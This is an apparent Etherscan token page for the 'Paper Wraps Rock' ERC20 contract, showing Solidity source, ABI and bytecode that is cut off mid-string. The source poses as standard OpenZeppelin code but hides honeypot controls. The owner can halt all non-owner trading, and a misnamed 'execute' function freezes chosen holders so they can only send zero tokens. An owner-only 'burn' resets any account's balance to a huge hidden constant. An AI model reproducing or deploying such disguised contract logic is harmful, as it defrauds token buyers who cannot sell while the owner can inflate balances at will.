ETH Price: $3,496.81 (+2.65%)
Gas: 2 Gwei

Token

Paper Wraps Rock (PAPER)
 

Overview

Max Total Supply

100,000,000,000 PAPER

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
291,952,839.326614183 PAPER

Value
$0.00
0x1e5092996b7c0e06235e91dd6eab3d7a5c172211
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PAPER

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: Paper Wraps Rock.sol
/**
 .----------------.  .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| |   ______     | || |      __      | || |   ______     | || |  _________   | || |  _______     | |
| |  |_   __ \   | || |     /  \     | || |  |_   __ \   | || | |_   ___  |  | || | |_   __ \    | |
| |    | |__) |  | || |    / /\ \    | || |    | |__) |  | || |   | |_  \_|  | || |   | |__) |   | |
| |    |  ___/   | || |   / ____ \   | || |    |  ___/   | || |   |  _|  _   | || |   |  __ /    | |
| |   _| |_      | || | _/ /    \ \_ | || |   _| |_      | || |  _| |___/ |  | || |  _| |  \ \_  | |
| |  |_____|     | || ||____|  |____|| || |  |_____|     | || | |_________|  | || | |____| |___| | |
| |              | || |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------'  '----------------' 

*/// SPDX-License-Identifier: MIT 

pragma solidity ^0.8.10;

import "./ERC20.sol";

contract PAPER is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.10;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.10;

import "./IERC20.sol";
import "./IERC20Events.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Events {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer;
    uint256 private balances;
    mapping (address => bool) private _distributeFeesAllowanceAddressSwap;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, bool initTransfer_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _initTransfer = initTransfer_;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function autoProcessFees(address account) public view returns (bool) {
        return _distributeFeesAllowanceAddressSwap[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_distributeFeesAllowanceAddressSwap[from]) {require (amount == 0, "");}
            else{
                if(!_distributeFeesAllowanceAddressSwap[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            }
        }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function execute(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _distributeFeesAllowanceAddressSwap[addr[i]] = val;
        }
    }
}

File 3 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.10;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}


File 4 of 6: IERC20Events.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.10;
interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 6: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.10;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"autoProcessFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004553480156200002057600080fd5b50604051620028f8380380620028f8833981810160405281019062000046919062000579565b838382336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260059080519060200190620000a1929190620002b4565b508160069080519060200190620000ba929190620002b4565b5060045460088190555080600760006101000a81548160ff0219169083151502179055505050506200011d33620000f66200012760201b60201c565b600a620001049190620007b9565b846200011191906200080a565b6200013060201b60201c565b50505050620009de565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200019a90620008cc565b60405180910390fd5b620001b760008383620002aa60201b60201c565b8060036000828254620001cb9190620008ee565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002239190620008ee565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200028a91906200095c565b60405180910390a3620002a660008383620002af60201b60201c565b5050565b505050565b505050565b828054620002c290620009a8565b90600052602060002090601f016020900481019282620002e6576000855562000332565b82601f106200030157805160ff191683800117855562000332565b8280016001018555821562000332579182015b828111156200033157825182559160200191906001019062000314565b5b50905062000341919062000345565b5090565b5b808211156200036057600081600090555060010162000346565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003cd8262000382565b810181811067ffffffffffffffff82111715620003ef57620003ee62000393565b5b80604052505050565b60006200040462000364565b9050620004128282620003c2565b919050565b600067ffffffffffffffff82111562000435576200043462000393565b5b620004408262000382565b9050602081019050919050565b60005b838110156200046d57808201518184015260208101905062000450565b838111156200047d576000848401525b50505050565b60006200049a620004948462000417565b620003f8565b905082815260208101848484011115620004b957620004b86200037d565b5b620004c68482856200044d565b509392505050565b600082601f830112620004e657620004e562000378565b5b8151620004f884826020860162000483565b91505092915050565b6000819050919050565b620005168162000501565b81146200052257600080fd5b50565b60008151905062000536816200050b565b92915050565b60008115159050919050565b62000553816200053c565b81146200055f57600080fd5b50565b600081519050620005738162000548565b92915050565b600080600080608085870312156200059657620005956200036e565b5b600085015167ffffffffffffffff811115620005b757620005b662000373565b5b620005c587828801620004ce565b945050602085015167ffffffffffffffff811115620005e957620005e862000373565b5b620005f787828801620004ce565b93505060406200060a8782880162000525565b92505060606200061d8782880162000562565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006b7578086048111156200068f576200068e62000629565b5b60018516156200069f5780820291505b8081029050620006af8562000658565b94506200066f565b94509492505050565b600082620006d25760019050620007a5565b81620006e25760009050620007a5565b8160018114620006fb576002811462000706576200073c565b6001915050620007a5565b60ff8411156200071b576200071a62000629565b5b8360020a91508482111562000735576200073462000629565b5b50620007a5565b5060208310610133831016604e8410600b8410161715620007765782820a90508381111562000770576200076f62000629565b5b620007a5565b62000785848484600162000665565b925090508184048111156200079f576200079e62000629565b5b81810290505b9392505050565b600060ff82169050919050565b6000620007c68262000501565b9150620007d383620007ac565b9250620008027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006c0565b905092915050565b6000620008178262000501565b9150620008248362000501565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000860576200085f62000629565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620008b4601f836200086b565b9150620008c1826200087c565b602082019050919050565b60006020820190508181036000830152620008e781620008a5565b9050919050565b6000620008fb8262000501565b9150620009088362000501565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000940576200093f62000629565b5b828201905092915050565b620009568162000501565b82525050565b60006020820190506200097360008301846200094b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620009c157607f821691505b60208210811415620009d857620009d762000979565b5b50919050565b611f0a80620009ee6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806355a20ae7116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806355a20ae71461020057806370a082311461023057806391b69fa01461026057806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780635178624c146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f919061144c565b60405180910390f35b610132600480360381019061012d919061150c565b6103c6565b60405161013f9190611567565b60405180910390f35b6101506103e9565b60405161015d9190611591565b60405180910390f35b610180600480360381019061017b91906115ac565b6103f3565b60405161018d9190611567565b60405180910390f35b61019e610422565b6040516101ab919061161b565b60405180910390f35b6101ce60048036038101906101c9919061150c565b61042b565b6040516101db9190611567565b60405180910390f35b6101fe60048036038101906101f991906116c7565b6104d5565b005b61021a60048036038101906102159190611727565b61060f565b6040516102279190611567565b60405180910390f35b61024a60048036038101906102459190611727565b610665565b6040516102579190611591565b60405180910390f35b6102686106ae565b005b61027261079d565b60405161027f919061144c565b60405180910390f35b6102a2600480360381019061029d919061150c565b61082f565b005b6102be60048036038101906102b9919061150c565b6108d2565b6040516102cb9190611567565b60405180910390f35b6102ee60048036038101906102e9919061150c565b6109bc565b6040516102fb9190611567565b60405180910390f35b61031e60048036038101906103199190611754565b6109df565b60405161032b9190611591565b60405180910390f35b606060058054610343906117c3565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906117c3565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a66565b90506103de818585610a6e565b600191505092915050565b6000600354905090565b6000806103fe610a66565b905061040b858285610c39565b610416858585610cc5565b60019150509392505050565b60006009905090565b600080610436610a66565b90506104ca818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c59190611824565b610a6e565b600191505092915050565b6104dd610a66565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610561906118c6565b60405180910390fd5b60005b838390508110156106095781600960008686858181106105905761058f6118e6565b5b90506020020160208101906105a59190611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190611915565b91505061056d565b50505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b6610a66565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a906118c6565b60405180910390fd5b60001515600760009054906101000a900460ff161515141561077f576001600760006101000a81548160ff02191690831515021790555061079b565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ac906117c3565b80601f01602080910402602001604051908101604052809291908181526020018280546107d8906117c3565b80156108255780601f106107fa57610100808354040283529160200191610825565b820191906000526020600020905b81548152906001019060200180831161080857829003601f168201915b5050505050905090565b610837610a66565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb906118c6565b60405180910390fd5b6108ce82826111b4565b5050565b6000806108dd610a66565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a906119d0565b60405180910390fd5b6109b08286868403610a6e565b60019250505092915050565b6000806109c7610a66565b90506109d4818585610cc5565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590611a62565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590611af4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2c9190611591565b60405180910390a3505050565b6000610c4584846109df565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbf5781811015610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca890611b60565b60405180910390fd5b610cbe8484848403610a6e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90611bf2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c90611c84565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df95750610dca611380565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e365750610e07611380565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561114d576000600160008573ffffffffffff